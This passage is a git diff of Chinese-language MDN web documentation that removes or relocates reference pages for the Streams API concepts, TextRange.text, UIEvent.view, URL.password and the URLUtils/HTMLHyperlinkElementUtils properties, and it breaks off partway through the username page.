在 JavaScript 中,该过程由调用 {{domxref("ReadableStream.tee()")}} 实现 —— 它返回一个数组,包含对原始可读流的两个相同的副本可读流,可以独立地被不同的 reader 读取。

- -

举例而言,您在 ServiceWorker 中可能会用到该方法,当您从服务器 fetch 资源,得到一个响应的可读流,您可能会想把这个流拆分成两个,一个流入到浏览器,另一个流入到 ServiceWorker 的缓存。由于 response 的 body 无法被消费两次,以及可读流无法被两个 reader 同时读取,您会需要两个可读流副本来实现需求。

- -

- -

Writable streams

- -

一个 Writable stream (可写流) 是一个可以写入数据的数据终点,在 JavaScript 中以一个 {{domxref("WritableStream")}} 对象表示。这是 JavaScript 层面对 underlying sink (底层汇) 的抽象 —— 底层汇是某个可以写入原始数据的更低层次的 I/O 数据汇。

- -

数据由一个 writer 写入流中,每次一个 chunk 。chunk 和可读流的 reader 一样可以有多种类型。您可以用任何方式生成要被写入的块;writer 加上相关的代码称为 producer

- -

When a writer is created and starts writing to a stream (an active writer), it is said to be locked to it. Only one writer can write to a writable stream at one time. If you want another writer to start writing to your stream, you typically need to abort it before you then attach another writer to it.

- -

An internal queue keeps track of the chunks that have been written to the stream but not yet been processed by the underlying sink.

- -

There is also a construct you’ll use called a controller — each writer has an associated controller that allows you to control the stream (for example, to abort it if wished).

- -

- -

You can make use of writable streams using the {{domxref("WritableStream.WritableStream","WritableStream()")}} constructor. These currently have very limited availability in browsers.

- -

Pipe chains

- -

The Streams API makes it possible to pipe streams into one another (or at least it will do when browsers implement the relevant functionality) using a structure called a pipe chain. There are two methods available in the spec to facilitate this:

- - - -

The start of the pipe chain is called the original source, and the end is called the ultimate sink.

- -

- -
-

Note: This functionality isn't fully thought through yet, or available in many browsers. At some point the spec writers hope to add something like a TransformStream class to make creating transform streams easier.

-
- -

Backpressure

- -

流的一个重要概念是 backpressure (背压) —— 这是单个流或一个 pipe chain 调节读/写速度的过程。当链中后面的一个流仍然忙碌,尚未准备好接受更多的 chunks 时,它会通过链向上游的流发送一个信号,告诉上游的转换流(或原始源)适当地减慢传输速度,这样您就不会在任何地方遇到瓶颈。

- -

要在可读流中使用 backpressure 技术,我们可以通过查询 controller 的 {{domxref("ReadableStreamDefaultController.desiredSize")}} 属性。如果该值太低或为负数,我们的 ReadableStream 可以告诉它的底层源停止往流中装载数据,然后我们沿着 stream chain 进行背压。

- -

可读流在经历背压后,如果 consumer 再次想要接收数据,我们可以在构造可读流时提供 pull 方法来告诉底层源恢复往流中装载数据。

- -

Internal queues and queuing strategies

- -

As mentioned earlier, the chunks in a stream that have not yet been processed and finished with are kept track of by an internal queue.

- - - -

Internal queues employ a queuing strategy, which dictates how to signal backpressure based on the internal queue state.

- -

In general, the strategy compares the size of the chunks in the queue to a value called the high water mark, which is the largest total chunk size that the queue can realistically manage.

- -

The calculation performed is

- -
high water mark - total size of chunks in queue = desired size
- -

The desired size is the size of chunks the stream can still accept to keep the stream flowing but below the high water mark in size. After the calculation is performed, chunk generation will be slowed down/sped up as appropriate to keep the stream flowing as fast as possible while keeping the desired size above zero. If the value falls to zero (or below in the case of writable streams), it means that chunks are being generated faster than the stream can cope with, which results in problems.

- -
-

Note: What happens in the case of zero or negative desired size hasn’t really been defined in the spec so far. Patience is a virtue.

-
- -

As an example, let's take a chunk size of 1, and a high water mark of 3. This means that up to 3 chunks can be enqueued before the high water mark is reached and backpressure is applied.

diff --git a/files/zh-cn/web/api/textrange/text/index.html b/files/zh-cn/web/api/textrange/text/index.html deleted file mode 100644 index ae485dd58e..0000000000 --- a/files/zh-cn/web/api/textrange/text/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: TextRange.text -slug: Web/API/TextRange/text -tags: - - API - - DHTML - - DOM - - TextRange ---- -
{{ ApiRef("DOM") }}{{Non-standard_Header}}
- -
-

IE Only

-该属性是IE专有的。尽管IE很好地支持它,但大部分其它浏览器已经不支持该属性。该属性仅应在需兼容低版本IE时作为其中一种方案,而不是在跨浏览器的脚本中完全依赖它。
- -

{{domxref("TextRange")}} 接口中的属性 text 用于以 {{domxref("DOMString")}} 形式获取或设置区域内的纯文本内容。该更改直接作用到 DOM 树中,并清除区域内原有的非纯文本元素。注意,该属性忽略所有格式数据,因此若要获取选区中的HTML内容,请使用 {{domxref("TextRange.htmlText")}} 属性。

- -

语法

- -
var tString = textRange.text;
-textRange.text = oString;
-
- -

返回值

- -

一个 {{domxref("DOMString")}}。

- -

示例

- -

以下示例在IE9以下有效。该示例通过 document.selection 获取 TextRange,并过滤选区中的富文本元素。IE9以上支持标准的替代方案 {{domxref("Range")}}。

- -
var range = document.selection.createRange();
-range.htmlText = range.text;
-// 将富文本内容设置为纯文本内容,则区域也就变为纯文本。
-
- -

开发者笔记

- -

关于 text 属性

- -

注意,当通过该属性操作或获取时,不会得到包含非纯文本的信息;如果通过该属性设置,则区域内的元素将被删除,之后通常会变为一个包含指定内容的文本节点。因此,即使通过这个属性操作纯文本内容,结果也将剔除原先的所有格式数据。

- -

如果希望脚本的功能明确可读,最好的办法是不要同时使用该属性和 htmlText 属性设置数据。另外,该属性不是标准的,它从IE4开始在IE中实现,但不在其它浏览器的规范中。

- -

浏览器兼容性

- - - - - - - - - - - - - - - - - - -
IE其它浏览器
{{domxref("TextRange.text")}} {{non-standard_inline()}}支持(IE9后应使用标准API)不支持(详见Selection API
- -

扩展

- - diff --git a/files/zh-cn/web/api/uievent/view/index.html b/files/zh-cn/web/api/uievent/view/index.html new file mode 100644 index 0000000000..66b72f2637 --- /dev/null +++ b/files/zh-cn/web/api/uievent/view/index.html @@ -0,0 +1,52 @@ +--- +title: 用户界面项目视图 +slug: Web/API/UIEvent/视图 +tags: + - API + - DOM + - UI + - 参考 + - 只读 + - 属性 +translation_of: Web/API/UIEvent/view +--- +

{{APIRef("DOM Events")}}

+ +

The UIEvent.view 只读属性返回的生成事件的 {{domxref("document.defaultView")}} (window of the document) 对象。在浏览器中,这是事件所在的 {{ domxref("Window") }} 对象。

+ +

语法

+ +
var view = event.view;
+
+ + + +

技术参数

+ + + + + + + + + + + + + + + + + + + +
规格状态注释
{{SpecName('DOM3 Events', '#interface-UIEvent', 'UIEvent')}}{{Spec2('DOM3 Events')}}从 {{SpecName('DOM2 Events')}}, 将 view 类型从 AbstractView 更改为 WindowProxy.
{{SpecName('DOM2 Events', '#Events-UIEvent', 'UIEvent')}}{{Spec2('DOM2 Events')}}最初的定义。
+ +

浏览器的兼容性

+ + + +

{{Compat("api.UIEvent.view")}}

diff --git "a/files/zh-cn/web/api/uievent/\350\247\206\345\233\276/index.html" "b/files/zh-cn/web/api/uievent/\350\247\206\345\233\276/index.html" deleted file mode 100644 index 66b72f2637..0000000000 --- "a/files/zh-cn/web/api/uievent/\350\247\206\345\233\276/index.html" +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: 用户界面项目视图 -slug: Web/API/UIEvent/视图 -tags: - - API - - DOM - - UI - - 参考 - - 只读 - - 属性 -translation_of: Web/API/UIEvent/view ---- -

{{APIRef("DOM Events")}}

- -

The UIEvent.view 只读属性返回的生成事件的 {{domxref("document.defaultView")}} (window of the document) 对象。在浏览器中,这是事件所在的 {{ domxref("Window") }} 对象。

- -

语法

- -
var view = event.view;
-
- - - -

技术参数

- - - - - - - - - - - - - - - - - - - -
规格状态注释
{{SpecName('DOM3 Events', '#interface-UIEvent', 'UIEvent')}}{{Spec2('DOM3 Events')}}从 {{SpecName('DOM2 Events')}}, 将 view 类型从 AbstractView 更改为 WindowProxy.
{{SpecName('DOM2 Events', '#Events-UIEvent', 'UIEvent')}}{{Spec2('DOM2 Events')}}最初的定义。
- -

浏览器的兼容性

- - - -

{{Compat("api.UIEvent.view")}}

diff --git a/files/zh-cn/web/api/url/password/index.html b/files/zh-cn/web/api/url/password/index.html new file mode 100644 index 0000000000..1592676a9d --- /dev/null +++ b/files/zh-cn/web/api/url/password/index.html @@ -0,0 +1,57 @@ +--- +title: URL.密码 +slug: Web/API/URL/密码 +translation_of: Web/API/URL/password +--- +
{{ApiRef("URL API")}}
+ +

 {{domxref("URL")}}接口的password属性为{{domxref("USVString")}},其中包含在域名之前指定的密码。

+ +

如果在未设置username属性的情况下进行调用,默认失败。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
string = object.password;
+object.password = string;
+
+ +

+ +

A {{domxref("USVString")}}.

+ +

Examples

+ +
var url = new URL('https://anonymous:flabada@developer.mozilla.org/en-US/docs/Web/API/URL/password');
+var result = url.password; // Returns:"flabada"
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-password', 'URL.password')}}{{Spec2('URL')}}Initial definition.
+ +

浏览器兼容

+ + + +

{{Compat("api.URL.password")}}

+ +

参见

+ + diff --git "a/files/zh-cn/web/api/url/\345\257\206\347\240\201/index.html" "b/files/zh-cn/web/api/url/\345\257\206\347\240\201/index.html" deleted file mode 100644 index 1592676a9d..0000000000 --- "a/files/zh-cn/web/api/url/\345\257\206\347\240\201/index.html" +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: URL.密码 -slug: Web/API/URL/密码 -translation_of: Web/API/URL/password ---- -
{{ApiRef("URL API")}}
- -

 {{domxref("URL")}}接口的password属性为{{domxref("USVString")}},其中包含在域名之前指定的密码。

- -

如果在未设置username属性的情况下进行调用,默认失败。

- -

{{AvailableInWorkers}}

- -

语法

- -
string = object.password;
-object.password = string;
-
- -

- -

A {{domxref("USVString")}}.

- -

Examples

- -
var url = new URL('https://anonymous:flabada@developer.mozilla.org/en-US/docs/Web/API/URL/password');
-var result = url.password; // Returns:"flabada"
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('URL', '#dom-url-password', 'URL.password')}}{{Spec2('URL')}}Initial definition.
- -

浏览器兼容

- - - -

{{Compat("api.URL.password")}}

- -

参见

- - diff --git a/files/zh-cn/web/api/urlutils/hash/index.html b/files/zh-cn/web/api/urlutils/hash/index.html deleted file mode 100644 index 5d8cc21f43..0000000000 --- a/files/zh-cn/web/api/urlutils/hash/index.html +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: HTMLHyperlinkElementUtils.hash -slug: Web/API/URLUtils/hash -tags: - - HTMLHyperlinkElementUtils.hash -translation_of: Web/API/HTMLHyperlinkElementUtils/hash ---- -

{{ APIRef("URLUtils") }}

- -

HTMLHyperlinkElementUtils.hash 属性返回一个包含“#”的 {{domxref("DOMString")}} , 后跟URL的片段标识符。

- -

片段没有百分比解码。如果URL没有包含片段标识符,这个属性为一个空的字符串, "".

- -

Syntax

- -
string = object.hash;
-object.hash = string;
-
- -

Examples

- -
// Let's an <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.href#youhou"> element be in the document
-var anchor = document.getElementById("myAnchor");
-var result = anchor.hash; // Returns:'#youhou'
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-hash', 'HTMLHyperlinkElementUtils.hash')}}{{Spec2('HTML WHATWG')}}Initial definition
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}}[3]{{CompatNo}}[2]{{CompatNo}}[2]{{CompatNo}}[2]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}}[3]{{CompatNo}}[2]{{CompatNo}}[2]{{CompatNo}}[2]
-
- -

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

- -

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

- -

[3] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface. Also, from Gecko 29 to Gecko 40, the returned value was incorrectly percent-decoded.

- -

See also

- - diff --git a/files/zh-cn/web/api/urlutils/href/index.html b/files/zh-cn/web/api/urlutils/href/index.html deleted file mode 100644 index cff669766d..0000000000 --- a/files/zh-cn/web/api/urlutils/href/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: HTMLHyperlinkElementUtils.href -slug: Web/API/URLUtils/href -tags: - - HTMLHyperlinkElementUtils.href -translation_of: Web/API/HTMLHyperlinkElementUtils/href ---- -

{{ApiRef("URL API")}}

- -

HTMLHyperlinkElementUtils.href 属性是一个包含整个URL的 {{domxref("USVString")}}。

- -

Syntax

- -
string = object.href;
-object.href = string;
-
- -

Examples

- -
// Lets imagine an <a id="myAnchor" href="https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href"> element is in the document
-var anchor = document.getElementById("myAnchor");
-var result = anchor.href; // Returns: 'https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href'
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-href', 'HTMLHyperlinkElementUtils.href')}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}} [3]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}} [3]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
-
- -

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

- -

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

- -

[3] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moved either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

- -

See also

- - diff --git a/files/zh-cn/web/api/urlutils/index.html b/files/zh-cn/web/api/urlutils/index.html deleted file mode 100644 index e8d6c719d9..0000000000 --- a/files/zh-cn/web/api/urlutils/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: URLUtils -slug: Web/API/URLUtils -translation_of: Web/API/HTMLHyperlinkElementUtils ---- -

{{ApiRef("URL API")}}{{SeeCompatTable}}

- -

The HTMLHyperlinkElementUtils mixin defines utility methods and properties to work with {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}}. These utilities allow to deal with common features like URLs.

- -

There are no objects of this type, but several objects {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}} implement it.

- -

属性

- -
-

注意:This interface doesn't inherit any property.

-
- -
-
{{domxref("HTMLHyperlinkElementUtils.href")}}
-
This is a {{domxref("USVString")}} containing the whole URL.
-
{{domxref("HTMLHyperlinkElementUtils.protocol")}}
-
This is a {{domxref("USVString")}} containing the protocol scheme of the URL, including the final ':'.
-
{{domxref("HTMLHyperlinkElementUtils.host")}}
-
This is a {{domxref("USVString")}} containing the host, that is the hostname, and then, if the port of the URL is not empty (which can happen because it was not specified or because it was specified to be the default port of the URL's scheme), a ':', and the port of the URL.
-
{{domxref("HTMLHyperlinkElementUtils.hostname")}}
-
This is a {{domxref("USVString")}} containing the domain of the URL.
-
{{domxref("HTMLHyperlinkElementUtils.port")}}
-
This is a {{domxref("USVString")}} containing the port number of the URL.
-
{{domxref("HTMLHyperlinkElementUtils.pathname")}}
-
This is a {{domxref("USVString")}} containing an initial '/' followed by the path of the URL.
-
{{domxref("HTMLHyperlinkElementUtils.search")}}
-
This is a {{domxref("USVString")}} containing a '?' followed by the parameters of the URL.
-
{{domxref("HTMLHyperlinkElementUtils.hash")}}
-
This is a {{domxref("USVString")}} containing a '#' followed by the fragment identifier of the URL.
-
{{domxref("HTMLHyperlinkElementUtils.username")}}
-
This is a {{domxref("USVString")}} containing the username specified before the domain name.
-
{{domxref("HTMLHyperlinkElementUtils.password")}}
-
This is a {{domxref("USVString")}} containing the password specified before the domain name.
-
{{domxref("HTMLHyperlinkElementUtils.origin")}} {{readonlyInline}}
-
This returns a {{domxref("USVString")}} containing the origin of the URL (that is its scheme, its domain and its port).
-
- -

方法

- -
-

注意:This interface doesn't inherit any method.

-
- -
-
{{domxref("HTMLHyperlinkElementUtils.toString()")}}
-
This returns a {{domxref("USVString")}} containing the whole URL. It is a synonym for {{domxref("HTMLHyperlinkElementUtils.href")}}, though it can't be used to modify the value.
-
- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils')}}{{Spec2('HTML WHATWG')}}Initial definition
- -

浏览器兼容性

- - - -

{{Compat("api.HTMLHyperlinkElementUtils")}}

- -

参见

- - diff --git a/files/zh-cn/web/api/urlutils/origin/index.html b/files/zh-cn/web/api/urlutils/origin/index.html deleted file mode 100644 index d0f8d926ec..0000000000 --- a/files/zh-cn/web/api/urlutils/origin/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: HTMLHyperlinkElementUtils.origin -slug: Web/API/URLUtils/origin -tags: - - HTMLHyperlinkElementUtils.origin -translation_of: Web/API/HTMLHyperlinkElementUtils/origin ---- -

{{APIRef("URL API")}}

- -

HTMLHyperlinkElementUtils.origin 只读属性是一个 {{domxref("USVString")}} ,其中包含代表URL的原始码的Unicode序列化,即:

- - - -

{{AvailableInWorkers}}

- -

Syntax

- -
string = object.origin;
-
- -

Examples

- -
// On this page, returns the origin
-var result = window.location.origin; // Returns:'https://developer.mozilla.org'
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-origin', 'HTMLHyperlinkElementUtils.origin')}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("26.0")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("26.0")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
-
- -

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

- -

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

- -

[3] From Gecko 26 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

- -

[4] Before Gecko 49, results for URL using the blob scheme incorrectly returned null.

- -

See also

- - diff --git a/files/zh-cn/web/api/urlutils/password/index.html b/files/zh-cn/web/api/urlutils/password/index.html deleted file mode 100644 index 99e9944875..0000000000 --- a/files/zh-cn/web/api/urlutils/password/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: HTMLHyperlinkElementUtils.password -slug: Web/API/URLUtils/password -tags: - - HTMLHyperlinkElementUtils.password -translation_of: Web/API/HTMLHyperlinkElementUtils/password ---- -

{{ApiRef("URL API")}}

- -

HTMLHyperlinkElementUtils.password property 属性是一个{{domxref("USVString")}} ,包含域名前面指定的密码。

- -

如果在没有首先设置用户名属性的情况下设置,则会静默失败。

- -

Syntax

- -
string = object.password;
-object.password = string;
-
- -

Examples

- -
// Let's <a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username"> be in the document
-var anchor = document.getElementByID("myAnchor");
-var result = anchor.password; // Returns:'flabada'
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-prassword', 'HTMLHyperlinkElementUtils.password')}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatGeckoDesktop("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatGeckoMobile("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

- -

[2] From Gecko 26 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

- -

See also

- - diff --git a/files/zh-cn/web/api/urlutils/pathname/index.html b/files/zh-cn/web/api/urlutils/pathname/index.html deleted file mode 100644 index 203da5393a..0000000000 --- a/files/zh-cn/web/api/urlutils/pathname/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: HTMLHyperlinkElementUtils.pathname -slug: Web/API/URLUtils/pathname -tags: - - HTMLHyperlinkElementUtils.pathname -translation_of: Web/API/HTMLHyperlinkElementUtils/pathname ---- -

{{ApiRef("URL API")}}

- -

HTMLHyperlinkElementUtils.pathname 属性是一个 {{domxref("USVString")}} ,其中包含一个初始的'/'后跟URL的路径。

- -

Syntax

- -
string = object.pathname;
-object.pathname = string;
-
- -

Examples

- -
// Let's an <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.pathname"> element be in the document
-var anchor = document.getElementById("myAnchor");
-var result = anchor.pathname; // Returns:'/en-US/docs/HTMLHyperlinkElementUtils.pathname'
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-pathname', 'HTMLHyperlinkElementUtils.pathname')}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatNo}} [2]{{CompatGeckoDesktop("22")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatNo}} [2]{{CompatGeckoMobile("22")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
-
- -

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

- -

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

- -

[3] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

- -

[4] Before Firefox 53, the pathname and search HTMLHyperLinkElementUtils properties returned the wrong parts of the URL. For example, for a URL of http://z.com/x?a=true&b=false, pathname would return "/x?a=true&b=false" and search would return "", rather than "/x" and "?a=true&b=false" respectively. This has now been fixed.

- -

See also

- - diff --git a/files/zh-cn/web/api/urlutils/search/index.html b/files/zh-cn/web/api/urlutils/search/index.html deleted file mode 100644 index 4c9c8ae554..0000000000 --- a/files/zh-cn/web/api/urlutils/search/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: HTMLHyperlinkElementUtils.search -slug: Web/API/URLUtils/search -tags: - - HTMLHyperlinkElementUtils.search -translation_of: Web/API/HTMLHyperlinkElementUtils/search ---- -

{{ApiRef("URL API")}}

- -

HTMLHyperlinkElementUtils.search 属性是一个搜索字符串,也叫做查询字符串, 它是一个 {{domxref("USVString")}} ,包含 '?' 和随后的 URL 参数。

- -

语法

- -
string = object.search;
-object.search = string;
-
- -

示例

- -
// 让一个
-// <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.search?q=123" />
-//  元素在文档里
-
-let anchor = document.getElementById("myAnchor");
-let result = anchor.search;
-// 返回:'?q=123'
-
- -

 

- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-search', 'HTMLHyperlinkElementUtils.search')}}{{Spec2('HTML WHATWG')}}初始定义
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
基本支持{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}} [3][4]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本支持{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}} [3][4]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]
-
- -

[1] 自Chrome 52起,该属性移至{{domxref('URL')}}

- -

[2] 虽然没有被分在一个独立的抽象接口,但该方法可以在实现了它的那些接口上直接使用,如果支持该接口。

- -

[3] 从Gecko 22 到 Gecko 44,该属性在 URLUtils mixin 上。它已经被移到 HTMLHyperlinkElementUtils mixin,或者直接在这个接口上。

- -

[4] 在 Firefox 53之前, pathname search HTMLHyperLinkElementUtils 属性返回的URL部分是错误的。例如,对一个值为 http://z.com/x?a=true&b=false 的URL,pathname 会返回"/x?a=true&b=false" ,search 会返回 "", 而不是各自返回 "/x" 和"?a=true&b=false" 。这已经被修正了。

- -

相关链接

- - diff --git a/files/zh-cn/web/api/urlutils/tostring/index.html b/files/zh-cn/web/api/urlutils/tostring/index.html deleted file mode 100644 index 172ffda98b..0000000000 --- a/files/zh-cn/web/api/urlutils/tostring/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: HTMLHyperlinkElementUtils.toString() -slug: Web/API/URLUtils/toString -tags: - - HTMLHyperlinkElementUtils.toString() - - URL API -translation_of: Web/API/HTMLHyperlinkElementUtils/toString ---- -

{{ApiRef("URL API")}}

- -

HTMLHyperlinkElementUtils.toString() 方法返回一个包含整个URL的 {{domxref("USVString")}} 。它是{{domxref("HTMLHyperlinkElementUtils.href")}} 的一个只读版本。

- -

句法

- -
string = object.toString();
- -

范例

- -
/*
-Let's imagine an
-<a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString">
- element is in the document
-*/
-var anchor = document.getElementById("myAnchor");
-var result = anchor.toString();
-// Returns: 'https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString'
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils.toString()')}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(52)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(52)}}{{CompatChrome(52)}}{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
-
- -

[1] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

- -

[2] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

- -

也可以看看

- - diff --git a/files/zh-cn/web/api/urlutils/username/index.html b/files/zh-cn/web/api/urlutils/username/index.html deleted file mode 100644 index 2e7a101f9f..0000000000 --- a/files/zh-cn/web/api/urlutils/username/index.html +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: HTMLHyperlinkElementUtils.username -slug: Web/API/URLUtils/username -tags: - - HTMLHyperlinkElementUtils.username -translation_of: Web/API/HTMLHyperlinkElementUtils/username ---- -

{{ApiRef("URL API")}}

- -

HTMLHyperlinkElementUtils.username 属性是一个 {{domxref("USVString")}}包含域名前面指定的用户名。

- -

Syntax

- -
string = object.username;
-object.username = string;
-
- -

Examples

- -
// Let's <a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username"> be in the document
-var anchor = document.getElementByID("myAnchor");
